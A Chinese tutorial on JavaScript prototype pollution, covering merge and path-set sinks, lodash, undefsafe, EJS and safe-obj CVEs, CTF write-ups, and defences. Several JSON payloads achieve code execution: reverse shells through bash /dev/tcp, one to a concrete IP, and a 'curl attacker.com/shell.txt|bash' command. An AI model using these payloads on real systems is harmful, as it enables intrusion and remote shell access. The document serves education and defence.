关于Prototype Pollution Attack的二三事
字数 1554 2025-08-25 22:58:28

JavaScript原型链污染攻击全面解析

一、原型链污染基础概念

1.1 什么是原型链污染

原型链污染是JavaScript特有的安全问题,攻击者通过注入值来覆盖或污染对象的__proto__、构造函数和原型属性,从而影响所有继承该原型的对象。这种攻击可能导致:

  • 拒绝服务(DoS)
  • 篡改程序执行流程
  • 远程代码执行(RCE)

1.2 原型链基础

JavaScript中"万物皆对象",每个实例对象都有一个私有属性(__proto__)指向其构造函数的原型对象(prototype)。原型链访问机制:

  • 访问对象属性时,会依次搜索:
    1. 对象本身
    2. 对象的原型(__proto__)
    3. 原型的原型,直到找到或到达null

访问原型的方式:

objectname.[[prototype]]
objectname.prototype
objectname["__proto__"]
objectname.__proto__
objectname.constructor.prototype

1.3 原型链继承示例

function Father() {
    this.first_name = 'Donald'
    this.last_name = 'Trump'
}

function Son() {
    this.first_name = 'Melania'
}

Son.prototype = new Father()
let son = new Son()
console.log(`Name: ${son.first_name} ${son.last_name}`)
// 输出: Name: Melania Trump

二、原型链污染的产生场景

2.1 主要攻击场景

  1. 不安全的对象递归合并
  2. 按路径定义属性

2.2 基本污染原理

通过控制对象属性的键名和值,如:

object[a][b] = value

a设置为__proto__,就可以给对象的原型设置一个值为valueb属性。

2.3 污染示例

let object1 = {}
let object2 = {}

object1.__proto__.foo = "Hello World"
console.log(object2.foo) // 输出: Hello World

三、Merge类操作导致的污染

3.1 基本Merge函数

function merge(target, source) {
    for (let key in source) {
        if (key in source && key in target) {
            merge(target[key], source[key])
        } else {
            target[key] = source[key]
        }
    }
}

3.2 关键点

  • 直接使用对象字面量时,__proto__不会被当作键名
  • 使用JSON.parse时,__proto__会被当作真正的键名
// 不会污染原型
let o2 = {a: 1, "__proto__": {b: 2}}
merge({}, o2)

// 会污染原型
let o3 = JSON.parse('{"a": 1, "__proto__": {"b": 2}}')
merge({}, o3)

3.3 实际案例

[GYCTF2020]Ez_Express

  • 利用toUpperCase特性绕过admin注册限制
  • 使用admın注册(注意特殊字符)
  • 污染outputFunctionName实现RCE

Payload:

{
    "lua": "123",
    "__proto__": {
        "outputFunctionName": "t=1;return global.process.mainModule.constructor._load('child_process').execSync('cat /flag').toString()//"
    },
    "Submit": ""
}

[HackIM Nullcon CTF 2019] - Proton

  • 目标:使admin.аdmin == 1
  • Payload:
{"__proto__": {"admin": 1}}

四、Lodash模块相关漏洞

4.1 常见漏洞函数

  1. merge.recursiveMerge (CVE-2020-28499)

    const merge = require('merge');
    const payload2 = JSON.parse('{"x": {"__proto__":{"polluted":"yes"}}}');
    merge.recursive(obj1, payload2);
    
  2. lodash.defaultsDeep (CVE-2019-10744)

    const _ = require('lodash');
    _.defaultsDeep({}, JSON.parse('{"constructor": {"prototype": {"whoami": "Vulnerable"}}}'));
    
  3. lodash.merge

    var lodash = require('lodash');
    lodash.merge({}, JSON.parse('{"__proto__":{"polluted":"yes"}}'));
    
  4. lodash.mergeWith (CVE-2018-16487)

    lodash.mergeWith({}, JSON.parse(payload));
    
  5. lodash.set

    lodash.set(object2, '__proto__.["whoami"]', 'Vulnerable');
    
  6. lodash.setWith

    lodash.setWith(object2, '__proto__.["whoami"]', 'Vulnerable');
    
  7. lodash.zipObjectDeep (CVE-2020-8203)

    _.zipObjectDeep(['__proto__.z'], [123]);
    

4.2 配合lodash.template实现RCE

利用sourceURL属性污染:

{
    "__proto__": {
        "outputFunctionName": "_tmp1;global.process.mainModule.require('child_process').exec('bash -c \"bash -i >& /dev/tcp/ip/port 0>&1\"');var __tmp2"
    }
}

五、其他模块的原型链污染

5.1 Undefsafe模块 (CVE-2019-10795)

var a = require("undefsafe");
a(test, '__proto__.toString', function(){ return 'just a evil!' });

[网鼎杯2020青龙组]notes

  • 利用edit_note污染原型
  • 污染commands对象执行命令
  • Payload:
id=__proto__.a&author=curl http://attacker.com/shell.txt|bash&raw=a;

5.2 EJS模板引擎RCE (CVE-2022-29078)

配合Lodash污染:

var malicious_payload = '{"__proto__":{"outputFunctionName":"_tmp1;global.process.mainModule.require(\'child_process\').exec(\'calc\');var __tmp2"}}';
lodash.merge({}, JSON.parse(malicious_payload));

[XNUCA 2019 Qualifier]Hardjs

  • 污染outputFunctionName
  • Payload:
{
    "content": {
        "constructor": {
            "prototype": {
                "outputFunctionName": "_tmp1;global.process.mainModule.require('child_process').exec('bash -c \"bash -i >& /dev/tcp/1.15.75.117/2333 0>&1\"');var __tmp2"
            }
        }
    },
    "type": "test"
}

5.3 safe-obj模块漏洞

CVE-2021-25928

safeObj.expand(obj, '__proto__.polluted', 'Yes! Its Polluted');

CVE-2021-25927 (safe-flat)

safeFlat.unflatten({"__proto__.polluted": "Yes! Its Polluted"}, '.');

六、防御措施

  1. 使用Object.freeze()冻结Object.prototype
  2. 避免使用不安全的递归合并函数
  3. 对用户输入的JSON数据进行严格验证
  4. 使用Object.create(null)创建无原型的对象
  5. 及时更新存在漏洞的第三方库

七、总结

原型链污染是JavaScript中一种危险的安全漏洞,主要通过:

  1. 不安全的对象合并
  2. 路径属性设置
    两种主要方式实现。攻击者可以利用此漏洞修改应用程序行为、绕过安全限制甚至执行任意代码。开发人员应特别注意对象合并操作和第三方库的安全使用,及时更新存在漏洞的依赖项。
JavaScript原型链污染攻击全面解析 一、原型链污染基础概念 1.1 什么是原型链污染 原型链污染是JavaScript特有的安全问题,攻击者通过注入值来覆盖或污染对象的 __proto__ 、构造函数和原型属性,从而影响所有继承该原型的对象。这种攻击可能导致: 拒绝服务(DoS) 篡改程序执行流程 远程代码执行(RCE) 1.2 原型链基础 JavaScript中"万物皆对象",每个实例对象都有一个私有属性( __proto__ )指向其构造函数的原型对象( prototype )。原型链访问机制: 访问对象属性时,会依次搜索: 对象本身 对象的原型( __proto__ ) 原型的原型,直到找到或到达 null 访问原型的方式: 1.3 原型链继承示例 二、原型链污染的产生场景 2.1 主要攻击场景 不安全的对象递归合并 按路径定义属性 2.2 基本污染原理 通过控制对象属性的键名和值,如: 将 a 设置为 __proto__ ,就可以给对象的原型设置一个值为 value 的 b 属性。 2.3 污染示例 三、Merge类操作导致的污染 3.1 基本Merge函数 3.2 关键点 直接使用对象字面量时, __proto__ 不会被当作键名 使用 JSON.parse 时, __proto__ 会被当作真正的键名 3.3 实际案例 [ GYCTF2020]Ez_ Express 利用 toUpperCase 特性绕过admin注册限制 使用 admın 注册(注意特殊字符) 污染 outputFunctionName 实现RCE Payload: [ HackIM Nullcon CTF 2019 ] - Proton 目标:使 admin.аdmin == 1 Payload: 四、Lodash模块相关漏洞 4.1 常见漏洞函数 merge.recursiveMerge (CVE-2020-28499) lodash.defaultsDeep (CVE-2019-10744) lodash.merge lodash.mergeWith (CVE-2018-16487) lodash.set lodash.setWith lodash.zipObjectDeep (CVE-2020-8203) 4.2 配合lodash.template实现RCE 利用 sourceURL 属性污染: 五、其他模块的原型链污染 5.1 Undefsafe模块 (CVE-2019-10795) [ 网鼎杯2020青龙组 ]notes 利用 edit_note 污染原型 污染 commands 对象执行命令 Payload: 5.2 EJS模板引擎RCE (CVE-2022-29078) 配合Lodash污染: [ XNUCA 2019 Qualifier ]Hardjs 污染 outputFunctionName Payload: 5.3 safe-obj模块漏洞 CVE-2021-25928 CVE-2021-25927 (safe-flat) 六、防御措施 使用 Object.freeze() 冻结 Object.prototype 避免使用不安全的递归合并函数 对用户输入的JSON数据进行严格验证 使用 Object.create(null) 创建无原型的对象 及时更新存在漏洞的第三方库 七、总结 原型链污染是JavaScript中一种危险的安全漏洞,主要通过: 不安全的对象合并 路径属性设置 两种主要方式实现。攻击者可以利用此漏洞修改应用程序行为、绕过安全限制甚至执行任意代码。开发人员应特别注意对象合并操作和第三方库的安全使用,及时更新存在漏洞的依赖项。